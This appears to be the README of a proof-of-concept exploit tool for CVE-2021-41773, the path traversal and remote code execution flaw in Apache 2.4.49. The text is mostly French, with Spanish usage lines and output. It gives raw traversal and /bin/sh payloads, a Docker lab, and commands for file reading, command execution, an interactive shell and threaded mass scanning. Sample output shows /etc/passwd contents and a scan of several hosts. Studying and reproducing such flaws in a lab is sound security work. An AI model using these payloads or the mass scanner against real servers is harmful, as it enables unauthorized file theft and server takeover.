
Preuve de concept de CVE-2021-41773
Uniquement pour une utilisation dans des environnements contrôlés et personnels. Ne pas utiliser contre des systèmes sans autorisation.
PoC développée pour démontrer et comprendre la vulnérabilité CVE-2021-41773, présente dans Apache HTTP Server 2.4.49.
La faille réside dans la fonction ap_normalize_path(), qui ne validait pas correctement les caractères encodés dans l'URL. Cela permettait à un attaquant de sortir du DocumentRoot au moyen d'une séquence de caractères encodés (%2e%2e%2f au lieu de ../), en lisant des fichiers arbitraires du système.
Lorsque le module mod_cgi était activé, la vulnérabilité s'étendait à RCE (Remote Code Execution), permettant d'exécuter des commandes directement sur le serveur avec les permissions du processus Apache.
Le serveur doit remplir toutes ces conditions pour être vulnérable :
| Condition | Détail |
|---|---|
| Version d'Apache | Exactement 2.4.49 |
| Directive d'accès | Require all granted dans la configuration |
| Module CGI | mod_cgi activé (uniquement pour RCE) |
Apache 2.4.49 filtrait le classique ../ mais pas sa version encodée dans l'URL. L'attaquant construit un chemin que le filtre ne détecte pas, mais que le système d'exploitation interprète correctement :
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f est l'encodage URL de ../. Apache le laissait passer, l'OS le résolvait, et le résultat était l'accès à des fichiers en dehors du répertoire web.
Avec mod_cgi actif, le path traversal est utilisé pour pointer vers /bin/sh au lieu d'un fichier. Apache le traite comme un script CGI et l'exécute. La commande voyage dans le body du POST sous forme de script shell minimal :
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
La sortie de la commande arrive dans la réponse HTTP.
Le dépôt inclut un environnement prêt à reproduire la vulnérabilité dans setup/ :
cd setup
docker compose up -d
Cela lance Apache 2.4.49 sur le port 8080 avec la configuration vulnérable (Require all granted + mod_cgi activé). Les fichiers du lab :
| Fichier | Description |
|---|---|
setup/docker-compose.yml | Conteneur avec Apache 2.4.49 |
setup/httpd.conf | Configuration vulnérable d'Apache |
Les fichiers de configuration utilisés se trouvent dans setup/.
Pourquoi urllib3 et non requests ?
requests réencode automatiquement les caractères du path avant de les envoyer.
Cela casse le payload car le serveur reçoit %252e au lieu de %2e.
urllib3 permet d'envoyer le path sans modifications.
Pourquoi .%2e/ et non %2e%2e/ ?
Apache filtre %2e%2e/ dans le module mod_rewrite.
La variante .%2e/ est sémantiquement équivalente mais passe le filtre,
car la normalisation du path intervient après la validation.
mod_cgi doit être activé pour que le mode RCE fonctionne.
Sans lui, seul le path traversal est possible.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Argument | Requis | Description |
|---|---|---|
--target | Oui* | URL de base du serveur (ex : http://localhost:8080) |
--input-file / -iF | Oui* | Fichier contenant la liste des cibles (une par ligne) |
--mode | Oui | Mode de fonctionnement (voir tableau ci-dessous) |
--cmd | Non | Commande à exécuter en mode rce (par défaut : id) |
--file | Non | Fichier à lire en mode traversal (par défaut : /etc/passwd) |
--threads / -t | Non | Threads pour le scan massif (par défaut : 10, uniquement avec --input-file) |
--output / -o | Non | Exporter les résultats en JSON (uniquement avec --input-file) |
* --target et --input-file sont mutuellement exclusifs — l'un ou l'autre est utilisé.
| Mode | Description |
|---|---|
check | Vérifie si la cible est vulnérable et si mod_cgi est activé, sans extraire de données sensibles |
traversal | Lit un fichier arbitraire du système via path traversal |
rce | Exécute une commande individuelle sur le serveur via mod_cgi |
shell | Pseudo-shell interactif pour exécuter des commandes RCE en série |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════